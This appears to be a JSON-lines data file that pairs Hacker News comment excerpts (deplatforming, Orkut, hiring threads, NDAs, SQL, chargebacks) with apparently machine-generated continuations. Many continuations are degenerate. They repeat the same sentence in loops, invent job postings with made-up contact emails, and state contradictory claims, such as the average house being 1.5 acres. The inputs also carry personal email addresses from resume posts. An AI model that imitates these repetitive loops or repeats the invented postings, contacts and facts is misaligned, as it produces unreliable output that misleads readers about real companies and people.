Nazis.\n\nIf you're a company that's not on Stripe, you're not going to be able to\nprocess credit", "input_text": "lements, but Facebook felt that leaving them on make it a place families\n(and their grandparents) won't visit. Gab would like to use Stripe or Paypal\nbecause they are trusted payment providers, but those networks felt they'd\nstop being trusted payment providers if they let Gab stay on.\n\nAnd there's plenty of reason to think they're right: super-permissive\nplatforms exist and work (4chan et al.), they just don't attract the same\nbroad audience. When people complain about being deplatformed, they're just\nsaying \"the platforms that accept me aren't popular enough\". I'm glad our\ninternet is enough of a distributed commons that many platforms are broadly\naccessible -- but nobody owes you an audience at the most popular ones.\n\n~~~\nim3w1l\nFirst people get kicked off their platforms \"build your own platforms\"\n\nThen platforms got kicked off the platform platforms \"build your own platform\nplatforms\"\n\nWhat reason is there to assume those platform platforms will not get kicked\noff the platform platform platforms?\n\nThese people are not arguing in good faith.\n\n~~~\namputect\nWhat's the alternative to \"build your own platforms\" though. Are you willing\nto compel Stripe by threat of force to keep processing credit cards for nazis?\nAre you willing to completely torpedo freedom of association, as long as the\npeople demanding your company continue associating with them are sufficiently\nmonstrous?\n\n~~~\nhakfoo\nWhat makes the 'deplatforming' threat viable is that so many critical aspects\nof an online business are a choice between private-enterprise players. Stripe\nor Authorize.net. AWS or DigitalOcean. GoDaddy or Namecheap.\n\nAs you suggest, they have no individual"} +{"output_text": " changed the way\npeople communicate.\n\n------\njoeblau\nI remember when Orkut was the cool thing to use. I remember when Facebook was\nthe cool thing to use. I remember when Twitter was the cool thing to use.\n\n------\njoeblau\nI remember when Orkut was the cool thing to use. I remember when Facebook was\nthe cool thing to use. I remember when Twitter was the cool thing to use.\n\n------", "input_text": " in every post, Mr. Caldwell has put out\nmore interesting articles on the social space than I've seen in a long, long\ntime.\n\nApp.net seems like an interesting experiment, and I support it in theory, but\ndon't really use much of social networks so haven't contributed yet. I think\nI'm going to give him $50 just to see if he can sustain the same level of\noutput on his blog, as my own little experiment.\n\n~~~\nbreckinloggins\nI agree. It just goes to show you that marketing and self-promotion only make\nyou look like a sleazy used-car salesman when you have nothing interesting to\nsay.\n\n------\nrusstrpkovski\nThe In the Plex book provides some insights into why Orkut failed:\n\n1\\. As Orkut increased in popularity, it was flooded with identity thieves and\nViagra ads.\n\n2\\. Google focused on rewriting Orkut's Windows-based infrastructure to scale\non Google's platform instead of improving the design and adding features\n\n3\\. Users bailed because of poor response time. Brazilians and Indians used to\nslow Internet access so they were tolerant of the delays.\n\n4\\. While finishing the rewrite of Orkut, Facebook was starting to take off.\n\n------\nJVIDEL\nI just want to say is funny how some people downplay Orkut for being full of\nBrasilians and Indians when those are 2 of the most growing consumer markets\nin the world.\n\nYou have companies all over the world fighting to get those markets, Apple\nwent as far as building a factory in Brasil to get a foothold there.\n\n------\nmrkrwtsn\nIt's really exciting to consider how Twitter fundamentally"} +{"output_text": " MILLION DOLLARS because you\nstole our idea!\"\n\nCOMPANY: \"What? No, we didn't steal your idea. We just made a better version\nof it.\"\n\nTROLLCORP: \"No, you stole our idea. You stole our idea and you're going to\npay us ONE MILLION DOLLARS.\"\n\nCOMPANY: \"No, we didn't steal your idea. We just made a better version of it", "input_text": "Wii's downloadable channel, it doesn't matter. Any one of those could be gone\nin a year or two.\n\nHere's an example, there are people out there who make millions of dollars\nselling e-books and mediocre/overpriced software on Clickbank right now. Some\nof those people get sued I'm sure for their products. More people show up. You\ncould take the same ebook and sell it on Kindle or Nook if you got shut down\nor you could sell your software on the Mac App Store or Chrome Web Store if CB\nwent under.\n\nThere are so many platforms to distribute and build software and businesses on\nnow, it really is hard to complain about the death of the indie developer\nbecause there are so many new companies getting started every day on all these\ndifferent platforms that didn't exist even 5 years ago.\n\nAs a business owner you can't control all risk, but you certainly can and\nshould plan around them.\n\nIf one channel gets shut down, move on to a different one or a different\nproduct.\n\nGreat devs and great companies aren't built on one hit one time wonders.\n\n~~~\nmaxxxxx\nThe problem is that a lawsuit easily can take out a small developer. Even if\nthe lawsuit is completely frivolous. I can't afford tens of thousands of\ndollars for a lawsuit. If I get sued my company is probably done. It doesn't\nmatter if the suit has merit or not.\n\n~~~\nmechanical_fish\nI haven't gone through this or anything, so maybe an actual lawyer would be\nhappy to speak up in this thread. But my simpleminded understanding is that\nyour typical frivolous lawsuit goes like this, only less transparently:\n\nTROLLCORP: \"We're suing your company for ONE"} +{"output_text": " tell you to\ndo something, you should say no.\n\n~~~\nsailfast\nI agree with you on this. I think that the key is to be able to say no\nwithout being seen as a \"bad guy\" or \"difficult\" or \"uncooperative\". I think\nthat the best way to do this is to be able to communicate your concerns\neffectively and in a way that is not seen as \"bad\" or \"difficult\" or\n\"un", "input_text": " levels of management\nwelcomed dissenting opinions - maybe that is one of the key bits to look for\nwhen determining if a (traditionally-structured) company is a good place to be\na mid-level manager.\n\n~~~\nsailfast\nAgreed - I don't think that all honesty has to go out the window just because\nyou are in a management position. Communicating decisions is one aspect, but\neffectively implementing them in your team is a whole other thing. Honest\ndiscussion of concerns and what can be improved is important, and as much as\nmanagement likes to think their poker face is awesome, employees are smart and\nsee straight through bullshit.\n\nSecondly, what I heard in your comment (and agree with) but don't see in the\noriginal post is anything about engaging to be an advocate for your employees\nup the chain, giving them an opportunity to tell you what they need, the\nquestions they have, the things you can do. To a certain extent this might\nmake you lonelier on the \"who do I talk to?\" side, but helps a great deal as a\nreminder of the purpose of the job.\n\n------\nHtsthbjig\nLearn to say \"no\". I have a company that I managed. In the company I was the\n\"boss\", but my boss was our customers. You need to say no to customers often.\n\nBefore learning to say no life was miserable. After I did it was heaven. Learn\nto say reasonable noes to your customers, to your upper managers, to your\npartner,to your kids, and your life will be much better.\n\nForget the advice of that stupid blog. You should not always support upper\nmanagement, you are not a drone. If you work in the army and they"} +{"output_text": "](https://farmlogs.com/jobs)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a Senior Software Engineer to join our\nteam.\n\nWe are looking for someone who is passionate about building great software\nthat people love to use. You will be working on a variety of projects,\nincluding our internal tools, our public Slack apps, and", "input_text": " worldwide, foundation of modern digital communication. You must have\nexperience designing and building large and complex (yet maintainable)\nsystems, and you should be able to do so in about one-third the time that most\ncompetent people think possible. You should have a BS, MS, or PhD in Computer\nScience or the equivalent. Top-notch communication skills are essential.\nExpect talented, motivated, intense, and interesting co-workers. Must be\nwilling to relocate to the Prague area (we will help cover moving costs). Your\ncompensation will include meaningful equity ownership.\n\nEmail us at pavel@ipfabric.io\n\n------\nheadcanon\nFarmLogs (YC W12) \u2022 Ann Arbor, MI \u2022 Onsite/Remote \u2022\n[https://farmlogs.com](https://farmlogs.com)\n\nFarmLogs is inventing the future of farming. We build software to help farmers\ngrow more with less.\n\nOur stack is predominantly Clojure and Python, with a strong trend towards\nmore and more Python. Our domain involves data from all over: soil samples,\nsatellite imagery, radar, telematics from tractors, temperature data, the list\ngoes on.\n\nWe run 100% on Kubernetes, Docker, and AWS.\n\nWe have a strong preference for onsite candidates, but would accept a remote\ncandidate if they have experience working remotely before and are in the US.\n\nWe've got a handful of open positions, notably:\n\n\\- Chief Architect\n\n\\- Product Designer\n\n\\- Product Analyst\n\n\\- Senior Backend Engineer (6+ years experience)\n\n\\- Data Engineer\n\n\\- Geospatial Engineer\n\nCome take a look! [https://farmlogs.com/jobs"} +{"output_text": "' app to manage my phone\nand I've noticed that it's a very different experience from using the\nphone itself. I'm not sure if it's just me, but I've noticed that the\nphone is a very different experience from the app. I'm not sure if it's\njust me, but I'", "input_text": "'t\nunderstand how many \"first times\" there have been.\n\n[0] [https://www.sciencealert.com/scientists-have-just-seen-\nbirds...](https://www.sciencealert.com/scientists-have-just-seen-birds-sleep-\nwhile-flying-for-the-first-time-ever)\n\n[1] [https://gizmodo.com/we-finally-know-how-birds-sleep-\nduring-f...](https://gizmodo.com/we-finally-know-how-birds-sleep-during-\nflight-without-d-1784760623)\n\n[2] Sorry, I can't provide a source at the moment, will try to find it later.\n\nEdit: to be fair, this article is citing the ones in 2016. I found other\narticles from as early as 2014 [3] but maybe this is just about how for the\nfirst time the theory is actually based upon measured, empirical data. Like an\narticle that was recently in HN about semi-automatic weapons being more deadly\nthan non-automatic ones.\n\n[3] [http://sabersabor.es/una-vida-de-record-los-10-hechos-\nporten...](http://sabersabor.es/una-vida-de-record-los-10-hechos-portentosos-\ndel-vencejo/)\n\n~~~\nShakMR\n> This article was originally published by Max Planck Neuroscience on Aug. 3,\n> 2016. The relevant study can be retrieved here.\n\n \nAsk HN: Why aren't phones software? - Toenex\nI've recently started using my phone providers"} +{"output_text": "not a problem.\n\n~~~\nskimpycompiler\nI'm not sure. I think it's a solved problem for a small number of vehicles.\n\n------\njedberg\nI'm surprised that Uber is still losing money. I thought they were profitable\nfor a while.\n\n~~~\njedberg\nI'm not sure why this is getting downvoted. I'm not saying that they are\nprofitable, but they are not losing money.\n\n", "input_text": " they don't offer a fare estimate.\n\nusing this process I have saved myself 100s of dollars in ride fares.\n\n~~~\neastbayjake\n> I hate using lyft because they don't offer a fare estimate.\n\nWhere are you using these apps? In the Bay Area, I like Lyft better than Uber\nbecause Lyft gives you a specific fare but Uber gives you a range. (FWIW,\nthere are many other reasons I like Lyft better than Uber.)\n\n------\n__Joker\nHow does customer need to counteract if he needs a time sensitive ride? Lets\nsay, I need to go to Airport at time x. Neither I can book earlier to\nguarantee a ride nor can I wait out the surge.\n\n~~~\nmonort\nUse a transfer service, which offers pre-orders. Uber is losing all my airport\nrides because they don't have it.\n\n~~~\nTeMPOraL\nThey probably don't want it anyway. It's more profitable for both Uber and the\ndrivers to not take such rides; in the time to and back from airport they\ncould take several within the city.\n\n~~~\nmonort\nIf it's profitable for a generic limousine transfer services, why it's not\nprofitable for Uber? Blacklane seems to be profitable too.\n\n~~~\nskimpycompiler\nLogistics of planning all those orders and rides is expensive.\n\n~~~\nRetric\nSounds like a job for software.\n\n~~~\nskimpycompiler\nIt'd be interesting to see how someone handles vehicle routing problem on a\nlarge scale, quickly and optimally.\n\n~~~\nTeMPOraL\nIsn't that a solved problem since like the early 70s? Even computing power is\n"} +{"output_text": " the world of\nadvertising. We are a small team of engineers and data scientists who are\npassionate about solving hard problems. We are looking for engineers who are\npassionate about solving hard problems.\n\nWe are looking for engineers who are passionate about solving hard problems.\n\nWe are looking for engineers who are passionate about solving hard problems.\n\nWe are looking for engineers who are passionate about solving hard problems.\n\nWe are looking for engineers who are passionate about solving hard", "input_text": " least 1+ year of experience in a data engineering, development,\nor a similar position. \u2022You understand best practices with SQL. You can\nthoughtfully design a database to enable perform queries and use advanced\nfeatures to make those queries fast and clean. \u2022You have experience with Ruby\non Rails and JavaScript, understand the strengths and weaknesses of them, and\nare curious to explore more. \u2022You have some experience or a strong interest in\ncontinual learning and are always continuing to strive for personal\ndevelopment.\n\nWhy You would want to join us?\n\n\u2022We\u2019re dedicated to finding the right fit with our people. We pick people and\nwe are dedicated to the development of those people. We are willing to boosts\nyour strengths, as long as you are looking to do that too. \u2022Our team works on\nsolving problems. We like to help other teams turn their needs into great\ntechnology, and we like developers to tackle the challenges. \u2022We move fast,\nwith many releases and an interactive approach to developing new features and\nmeasuring their success by client feedback. \u2022We have a gym in the office;\ncater lunch to everyone, Monday through Friday; Also have 4 rotational beer\nkegs to celebrate our successes! \u2022We offer very competitive salaries,\nexcellent benefits (and perks), and a generous PTO plan\n\n------\ntopstriker515\nMightySignal | Full Stack Engineer | San Francisco, CA |\n[https://mightysignal.com](https://mightysignal.com), ONSITE\n\nMightySignal | Frontend Engineer | San Francisco, CA |\n[https://mightysignal.com](https://mightysignal.com), ONSITE\n\nMightySignal unearths and analyzes hard to find data in"} +{"output_text": ", we're able to offer a\ncompetitive salary, 401k, and other benefits.\n\nIf you're interested, please email me at john@iha.org.\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a full-stack engineer to join our team.\n\nWe are a small team of engineers and designers who are building the future of", "input_text": "JS, etc.\n\nSkills:\n\n \n \n * Solid Ruby and Ruby on Rails\n * JavaScript & modern frameworks (Angular.JS, Ember.JS)\n * Experience with legacy code, refactoring\n * 12 Factor App\n * Message Queues\n * API Design & testing (contracts)\n * RSpec, TDD\n * Docker (desired)\n \n\nWork at a profitable financial technology company on applications that have\nprocessed more than $120 billion in transactions last year. The company\nculture values employee contributions, diversity and respects work/life\nbalance. Read more and apply below:\n\n[http://primerevenue.applytojob.com/apply/G4cIgL/Sr-\nSoftware-...](http://primerevenue.applytojob.com/apply/G4cIgL/Sr-Software-\nEngineer-Contract)\n\n------\njrowley\nIntegrated Healthcare Association | Oakland, CA | Senior Full Stack Engineer /\nGeneralist | Full Time | On Site |\n\nCompetitive Salary + 401k + Full Health + subsidized gym membership + other\nperks\n\nWe're a small non-profit healthcare group focused on bringing together\ndisparate healthcare actors to push the needle of healthcare quality and\ninnovation. With 20 years in California's healthcare space, we have the\nconnections, reputation, and expertise to make significant change.\n\n* Do you enjoy creating coherent data models from many disparate data channels?\n\n* Do you enjoy uncovering and conveying insights from organizing data?\n\n* Do you enjoy building interactive web applications and data pipelines?\n\nWe're looking for Full Stack Web Engineer to help us build data pipelines and\nweb apps. Due to our company's relatively small size"} +{"output_text": " out to be about 1.5 acres.\n\n~~~\njessaustin\nI don't know about the US, but in the UK, the average house is about 1.5 acres.\n\n~~~\nbastijn\nI was thinking about the average house in the US. I live in the Netherlands\nand the average house is about 1.5 acres.\n\n~~~\njessaustin\nI'm not sure what you mean by \"average house\". The average house", "input_text": "\n(More on that:\n[https://www.youtube.com/watch?list=UUGNoTP0Nlc1O-EWf3d1m3QQ&...](https://www.youtube.com/watch?list=UUGNoTP0Nlc1O-EWf3d1m3QQ&time_continue=36&v=hRIPQ_q2iyY))\n\n~~~\nSCAQTony\nAfter that terrible fire in England I would recommend getting a 150-meter\nclimbing rope, a harness and an aluminum \"figure-eight\" and learn how to repel\nas a means of escape in case the smoke became far too overwhelming. But that's\njust me. I live in a house.\n\n~~~\nEGreg\nI had an invention that could help many people escape from a building:\n\nMagnetic strips on the side of the building, and backpacks with metal.\n\nYou put on the backpack and shimmy down. Just in case, you also strap yourself\nonto the slide by its sides, so as not to disconnect from it and fall off.\n\nThis is better than a rope because it can hold many people simultaneously.\n\nDo the magnets wear out over time though?\n\n~~~\nvlehto\nMagnets are probably way too expensive. Especially as you could get same\nfunctionality with regular fire ladder.\n\n~~~\nEGreg\nHow would you shimmy down the ladder?\n\nBut yes I suppose technically you can have rollers in vertical struts and have\nthem roll down inside the rails, carrying the person.\n\n------\nbastijn\nSo how much of earth do we need to cover with forest to have a sustainable\nproduction for our buildings at a level that it actually matters? One building\nworks"} +{"output_text": "\n\nR\u00e9sum\u00e9/CV:\n[https://www.linkedin.com/in/braunshizzle/](https://www.linkedin.com/in/braunshizzle/)\n\nEmail: braunshizzle@gmail.com\n\nI'm a full stack developer with a passion for building web applications. I\nhave experience with Laravel, Laravel Spark, Laravel Forge, Laravel, Vue.js,\n", "input_text": "packer.com/home/resume](http://robpacker.com/home/resume) LinkedIn:\n[https://www.linkedin.com/in/robpacker/](https://www.linkedin.com/in/robpacker/)\nEmail: repacker@gmail.com\n\n------\nfamoreira\nI'm a Full Stack developer and enjoying working both on the frontend and\nbackend. Also enjoy doing performance optimisation work on application and\ndatabase level, and have experience implementing improved CI pipelines.\n\nI offer a rate discount if I get to work with Elixir and/or Go.\n\n* Location: London, UK\n\n* Remote: Yes\n\n* Willing to relocate: No\n\n* Technologies: Ruby, Rails, JavaScript, React, Node.js, PostgreSQL, Heroku, AWS, DevOps, Jenkins, Docker\n\n* R\u00e9sum\u00e9/CV: [https://filipeamoreira.com/resume.pdf](https://filipeamoreira.com/resume.pdf)\n\n* Email: filipe@coderelax.com\n\n* GitHub: [https://github.com/filipeamoreira](https://github.com/filipeamoreira)\n\n------\nbraunshizzle\nLocation: Niagara, Ontario, Canada\n\nRemote: Yes\n\nWilling to relocate: No (but open to travel)\n\nTechnologies: PHP, Laravel, Laravel Spark, Laravel Forge, Javascript, jQuery,\nVue.js, Node.js, HTML, CSS, MySQL, AWS, WordPress, Linux, Vagrant, Docker,\nRedis, SASS, LESS, Web APIs, RESTful APIs."} +{"output_text": "\n\n[1]\n[https://www.youtube.com/watch?v=8_0_0_0_qE](https://www.youtube.com/watch?v=8_0_0_0_qE)\n\n[2]\n[https://www.youtube.com/watch?v=8_0_0_0_qE&t=1m30s](https://www.youtube.com/watch?", "input_text": "------\nerikrothoff\nI remember first seeing emoji on Github and that they were very early those\nemoticons. I'd love to know more about the story there. I did some Googling\nand found nothing...\n\n~~~\nwhyever\nGitHub is not so old, it started in 2008 IIRC.\n\n------\namelius\nI'm missing two smiley icons:\n\n-big hypocritical smile\n\n-not impressed\n\nAnd I'm missing the option to create and send my own emoticons as SVG.\n\n~~~\noblio\nI basically want all the old Yahoo Messenger smileys, updated for higher\nresolution displays: [https://usefulshortcuts.com/yahoo-messenger/smileys-\nemoticon...](https://usefulshortcuts.com/yahoo-messenger/smileys-\nemoticons.php)\n\nWe have a billion emojis yet we're missing some of the basic ones...\n\n~~~\nmixmastamyk\nThose were great, the hug for example is so much better.\n\n------\nyuhong\nI wonder if Sundar would be willing to attend Unicode UTC meetings.\n\n------\nivanb\nEither I'm too old or I don't get how to use Emojis. I only use them to add\ntone or express my feelings or attitude so I use maybe five to ten most common\nemoticons. Eggplant, ice cream or almost any kind of other \"factual\" icons are\ncompletely useless to me. I would rather have more readable and expressive\nemoticons than hundreds of useless figurines. It would be nice to see if\npeople indeed use them.\n\nMy favorite emoticons are Koloboks [1][2]."} +{"output_text": " backed companies like Airbnb, Stripe,\nDropbox, etc.) and we're growing really fast.\n\nWe're looking for people who are passionate about education, love to learn,\nand want to work on a product that is changing the way students learn. If you\nare interested, please email me at oliviao@tophat.com.\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n", "input_text": " offering flash sales on luxury travel\nwithin the UK and around the world. We negotiate amazing deals and exclusive\ndiscounts for our members.\n\nTravel is - and should be - exciting, and booking a holiday or hotel should be\na great experience. That's what we set out to achieve, and it's the philosophy\nthat drives us on. We want to inspire the world to escape, and we do so with\nstrong imagery, stylish writing, sought-after destinations and unbeatable\nprices.\n\nApply if you are looking for a fast paced, entrepreneurial environment where\nself-starters have an opportunity to make a huge impact in one of the\ninternet's fastest growing categories. We're a dedicated and passionate team\nwho work hard to make things happen. You won't find us standing on ceremony or\nworrying about corporate red tape (we're fresh out of that stuff).\n\nSee more: [https://goo.gl/EHqHmF](https://goo.gl/EHqHmF)\n\n------\noliviao\nTop Hat | www.tophat.com | Toronto, ON, Canada | ONSITE Full-time\n\nTop Hat is still hiring!! We are looking for really smart software engineers\nto join our team! Some of the roles we have available are: iOS developer,\nAndroid developer, Mobile Lead and Full stack web developer (Python, Django,\nJavascript, React.js/Flux, AWS, Ansible). Salary ranges based on experience\nfrom $80K to $130K. We're a pretty awesome growth startup in the education\nspace - we make the classroom more interactive, fun and engaging for both\nstudents and professors. We've got VC funding from some of the best investors\nin the world (the same guys that"} +{"output_text": "jlebrech\nI'm not sure if it's a good thing or not.\n\n------\njlebrech\nI'm not sure if it's a good thing or not.\n\n------\njlebrech\nI'm not sure if it's a good thing or not.\n\n------\njlebrech\nI'm not sure if it's a good thing or not.\n\n------\njlebrech\nI'm not sure if it's", "input_text": " one would be, less likely to do it well... The more I learn about\nexercise & fitness, the more I discover it is a learned skill.\n\nFor a simple example, despite the fact that my push-ups looked ok, I was in\nfact doing them terribly wrong all my life which meant they did absolutely\nnothing to strengthen my pectorals. You might think something as simple as a\npush-up would be hard to do wrong...\n\n------\ngadders\nFrom the report:\n\n\"The scientists invited these twins into the lab and measured each young man\u2019s\nendurance capacity, body composition and insulin sensitivity, to determine\ntheir fitness and metabolic health.\"\n\nShame they couldn't find twins that took part in strength training, but not\nsurprising given the difficulties in finding any participants.\n\n------\nmathattack\n\"But eventually the researchers homed in on 10 pairs of male identical twins,\none of whom regularly exercised, while the other did not, usually because of\nwork or family pressures, the researchers determined.\"\n\nOh boy... How can 10 possibly be enough?\n\n------\nKiro\n> The active twins had significantly more grey matter than the sedentary\n> twins, especially in areas of the brain involved in motor control and\n> coordination.\n\nIs that good or bad?\n\n~~~\npingou\nThat looks good to me.\n\nWhat I'm wondering if that it only means that people have better motor control\nor coordination, or that it can also help people be good at math, for example,\nor at least help them if they decide to learn math?\n\n------\nparag_c_mehta\nWould have been great if some pictures were shared. Mere numbers do not tell\nfull story that gets shown in actual pictures.\n\n------\n"} +{"output_text": "will be a lot of people who will be in a lot of pain.\n\n~~~\nmikeash\nI'm not sure I understand your point.\n\nThe problem is that we're using up resources that are non-renewable. We're\nusing up resources that are finite. We're using up resources that are\npolluting. We're using up resources that are destroying the environment.\n\nIf we tax garbage, we're just taxing the waste. We're not", "input_text": "loopholes which will make the tax break much more expensive, or have a very\nlong body of legal texts, and some very exited lawyers and auditors which will\nimpose an indirect cost on society broadly.\n\nSure, it's pessimistic, but I'm essentially working backwards from an attempt\nto impose a tax on dietary fat (for health reasons) in Denmark. Sounds great,\nright? Hilarity ensued over mixed nuts (the accountants had a field day with\nthat one, and IIRC all kinds of meat being taxed at the same level, and the\ntax was repealed after only 15 months.\n\n~~~\nAJ007\nA alternative approach could be taxing garbage. Perhaps inevitable once\nsensors become pervasive and cheap enough. Too some extent this is already\ndone and enforced for disposing of blatantly dangerous things. In some cases\nyou could end up in prison in addition to fines, if caught. The more subtle\nthings that add up to a big problem have been given a lot of leeway.\n\nRight now it is profitable for many parties to extract non-renewable\nresources, assemble them in to something that has a short life cycle, and be\nsold to consumers who would rather keep buying the same thing over and over\nagain than a single time. There have been big incentives on the government\nside for hitting GDP numbers, which has led to both low interest rates and an\nurgency to extract and process non-renewable resources as quickly as possible.\nCapital utilization numbers certainly doesn't account for any of this and very\nwell exacerbate the problem.\n\nI don't want to confuse cause and effect here, but the consumption of low\nquality products directly relates to the volume which they are produced. The\nactual costs have just been transferred to the future. In the future there\n"} +{"output_text": ".\n\n~~~\naristidb\nI'm not sure I understand. You're saying that if a merchant doesn't want to\nresolve a chargeback, they don't have to?\n\n~~~\nmario1900\nYes. If they don't want to resolve a chargeback, they don't have to.\n\n------\nmario1900\nWe're a small team of developers and designers who are passionate about\nbuilding a better way to resolve chargebacks.\n\n", "input_text": "eing used in loads of places by now - there's probably\n(/should be) a jQuery plugin for it, even.\n\nI'm wondering why this is making it to HN now, 2 years later?\n\n~~~\norangecat\n_there's probably (/should be) a jQuery plugin for it, even_\n\nNo, there shouldn't. Taking advantage of this design flaw is no better than\ntrying to send a Javascript exploit to read my history file directly. I'm\nsurprised that supposedly legitimate sites think using it is an acceptable\npractice, but I guess I shouldn't be.\n\n------\nsambeau\nPlease, don't do that.\n\n \nShow HN: ChargeBack.cc - Get your money back - myotherthings\nhttps://www.chargeback.cc/\n======\naristidb\nThat seems a bit sketchy to me - black-mailing merchants into signing up for\nyour \"service\" of not sending them chargebacks?! Maybe you should explain why\nit's not.\n\n~~~\nmario1900\nMerchants don't need to sign up to resolve chargebacks. If we receive one,\nwe'll send them links to resolve it before it gets sent to the banks. They can\nchoose not too respond and it becomes a normal chargeback. Even if they do\nrespond - all they have to do is acknowledge they're making a refund or change\nthe customer's mind.\n\nThe basic resolution service is free for merchants. They only have to pay or\neven sign up if they want to use any of the premium features to help them\nreduce future chargebacks. Hopefully this isn't too dodgy :)\n\nI definitely think we need to be more upfront about what we get out of it. A\nlot of people seem skeptical when they first see the site"} +{"output_text": "\nlicensing agreement.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. It seems to be saying\nthat Yahoo is paying $30M for Summly because they are paying $30M for Summly\nbecause they are paying $30M for Summly because they are paying $30M for\nSummly because they are paying $30M for Summly because they are paying $30M for\nSumm", "input_text": " summarize articles\nfrom SRI International, who partly owned Summly -> why did Summly's owners\nmake 30 million?\n\n~~~\nNotre1\nExactly. I came here looking to see if anyone else had a good idea of what\ntheory this article was trying to express.\n\nI think the author is trying to infer that Yahoo agreed to buy Summly, so that\nSRI could liquidate their equity in Summly. Maybe, SRI saw Summly as a loser\nand as part of their negotiations with Yahoo, they asked Yahoo to turn this\nloss position into a win. So, maybe, then that $30M price was really $20M as\npart of the SRI deal and then $10M for assets and aqui-hire talent of Summly\nitself.\n\n \n \n Acquiring Summly seems to have been an almost incidental side effect of a deal Yahoo made with SRI for a piece of \"summarization technology.\"\n \n A source tells us that Yahoo has \"agreements in place\" with SRI for \"knowledge transfer,\" and the acquisition of IP, code, and technology.\n \n Until Yahoo bought it, SRI International held equity in Summly.\n\n~~~\nUK-AL\nEh, surely just paying that acquisition money directly to sri would be a\nbetter win?\n\n~~~\nsamstave\nMaybe that would be too overt. Maybe they needed to get a way to get a license\nwith SRI that didn't look like a me too act and also nullify existing\nlicenses.\n\nIf SRI actually had equity in Summly, then this is a way to pay off SRI, grab\nthe license for Summly and potentially get SRI to make a change to its"} +{"output_text": "-\ninnovation...](https://spin.atomicobject.com/2014/09/08/nda-stifle-innovation/)\n\n~~~\nmtmail\nI'm not sure if I understand your point. You don't want to sign an NDA because\nyou don't want to sign an NDA.\n\n~~~\nnxzero\nI don't want to sign an NDA because I don't want to sign an NDA.\n\nI don't want", "input_text": " than I would agree that is wrong.\n\n~~~\namichail\nI'm referring more to the use of unsophisticated language and occasional\ngrammar errors.\n\n------\njambo\nhowud u complish tht?\n\n[That was a serious question with an illuminating response. How would you know\nwhether those who downvoted me were doing so because of my comprehensible but\npoor writing style, or out of disagreement?]\n\n~~~\nJoeCortopassi\nI'll upvote, just cause I think you were trying to make a point\n\n \nAsk HN: Declining NDAs - nxzero\nReally dislike NDAs for intro talks, always say no to them, but don't have any reasoning beyond if I have to sign some secrecy agreement just to find out how you create value, how're you going to explain it to customers, investors, etc. who also normally don't sign NDAs.

What is the best way to decline NDAs? When does it make sense to sign NDAs? What is a good & bad NDA?\n======\nmtmail\nI had luck sending [http://www.friendda.org/](http://www.friendda.org/) for\nintro talks. Not even signed, just the URL and \"can we both agree on this?\" in\nan email.\n\n~~~\nnxzero\nThanks, really appreciate the effort to provide your take on the problem.\n\nWhile I could easily see this working with friends, it not really what I'm\nlooking for.\n\nHere's so far here's the best expression of why I don't sign NDAs:\n\n[https://spin.atomicobject.com/2014/09/08/nda-stifle"} +{"output_text": " mention the most important thing:\n\n1\\. Don't disclose anything that you don't have to.\n\n2\\. Don't disclose anything that you don't have to.\n\n3\\. Don't disclose anything that you don't have to.\n\n4\\. Don't disclose anything that you don't have to.\n\n5\\. Don't disclose anything that you don't have to.\n\n6\\. Don't disclose anything that you don't have to.\n\n7\\.", "input_text": " about assertively competitive business practices.\n\n!\n\n~~~\nfrench\nSounds like the Bill Gates school of IT. The YC startup community has a\ndifferent set of social mores which emphasize usefulness of the product, a\ncertain trendiness with respect to what else is happening in the current web\n2.0 world. We are not really the budding monopolist types. Yes, there is a\ncertain timidness in the YC community about the dark art of business. But\nthat's mainly because most of us have never worked :)\n\n~~~\nsorp\nWell, I've worked in the business world. But I have no interest in\n\"assertively competitive business practices\". Most of the managers I worked\nfor who were comfortable with that type of approach were exactly the reason I\nwanted to escape into the startup world and never look back at corporate life\nagain. So, if you want to call that 'timid', go ahead. I'd rather do my own\nthing, make a good product and try avoid \"doing evil\" as much as I can. This\nprobably sounds cliched or like I'm trying to win some brownie points but it's\nactually how I think. It's not worth it for me to live in that kind of\n\"assertively competitive\" way that I see my father and his colleagues living -\nor working, I should say. That feels like the old way of doing things.\n\n------\ngruseom\nEvidence?\n\n \n\nResponsible Disclosure Can Be Anything But - daeken\nhttp://daeken.com/responsible-disclosure-can-be-anything-but\n\n======\nsriramk\nI'm shocked he didn't"} +{"output_text": " theory.\n\n~~~\npaulie_a\nI don't think they are dense and dry. I think they are a good introduction to\nthe subject. I think they are a good introduction to the subject for someone\nwho has never used a relational database before.\n\n------\njedberg\nI'm a big fan of SQL. I've used it for years, and I've never had a problem\nwith it.\n\nI think the problem is that people don", "input_text": " on BaaS etc.\n(mostly of the NoSQL variety).\n\nI have to say: I regret not learning it earlier. Stuff like constraints,\ntriggers, views, etc., are game-changers, but even just being able to write\nqueries instead of navigating a proprietary GUI was worth the few weeks it\ntook to learn.\n\nIt was also a boon for data analysis work. Whereas before I'd take a few hours\ncleaning some data with JavaScript or Python, now I just write a SQL query or\ntwo. It's faster, it feels more powerful, and it's _substantially_ less\nfragile than one-off data cleaning scripts.\n\nAnyway: for those that started out like I did, afraid of SQL, dive on in.\n\n~~~\ncuchoi\nHow did you learn? Old-fashioned trial and error + googling?\n\n~~~\nJohnCohorn\nThe PG docs are surprisingly good. Good enough to learn from. I remember\nlearning my first SQL back in like 1999 or 2000 by reading the PG docs in the\nback of my parents minivan. Good times!\n\n~~~\npaulie_a\nI don't mean to knock the pg docs but I honestly come away reading them with\nthe feeling \"what did I just read?\". They seem dense and dry. So personally I\nappreciate the articles like this to help me really learn. I will skip over\nofficial documentation and go to this sort of content.\n\n~~~\njlg23\n> They seem dense and dry.\n\nI consider that a feature. I loathe wasting my time by having to dig through\nlayers of prose to get some fact.\n\nBut they are probably not suitable as a tutorial, they only make sense when\nyou already know relational database"} +{"output_text": "Thanks! I'll try to add that.\n\n------\njlebrech\nI'm not sure I'd trust the results of this.\n\nI've seen a lot of people say that the bokeh is better on the cheaper lenses\nand the focus is better on the expensive lenses.\n\nI've also seen people say that the bokeh is better on the expensive lenses and\nthe focus is better on the cheaper lenses.\n\nI've also seen people say", "input_text": " comments: 1. the choice of the subjects is questionable.\nCouldn't you have chosen a better scene? Perhaps a landscape/portrait where\nextra detail can be more easily compared between the photos. Let's be honest,\nwho's ever gonna take a photo with these lenses on a doll. For crying out\nloud, get some models and I guarantee this will take off! 2. would like to see\nmore lenses to be added, along 